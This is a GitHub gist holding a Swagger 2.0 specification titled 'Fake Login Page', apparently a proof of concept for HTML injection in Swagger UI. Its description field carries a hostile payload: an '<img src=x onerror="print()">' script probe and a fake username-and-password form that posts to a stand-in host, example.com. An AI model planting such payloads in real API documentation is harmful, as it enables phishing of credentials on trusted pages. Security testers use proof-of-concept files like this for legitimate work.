Last active
April 4, 2025 08:57
-
-
Save ayadim/901ddaa01679a29760f33277b3182782 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
swagger: '2.0' | |
info: | |
version: 1.0.0 | |
title: Fake Login Page | |
description: '<div class="login-form"> | |
<div class="heading"> | |
<h1>HTML Injection : Fake Login</h1> | |
<img src=x onerror="print()"> | |
</div> | |
<div class="form-container"> | |
<form action="https://example.com/login" method="post" class="form-signin"> | |
<div class="form-group"> | |
<label for="username">Username</label> | |
<input type="text" name="username" size="20"> | |
</div> | |
<div class="form-group"> | |
<label for="password">Password</label> | |
<input type="password" name="password" size="20"> | |
</div> | |
<div class="form-group"> | |
<button type="submit" class="btn btn-default">Login</button> | |
</div> | |
</form> | |
</div> | |
</div>' | |
paths: | |
/: | |
post: | |
responses: | |
'200': | |
description: Login successful |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment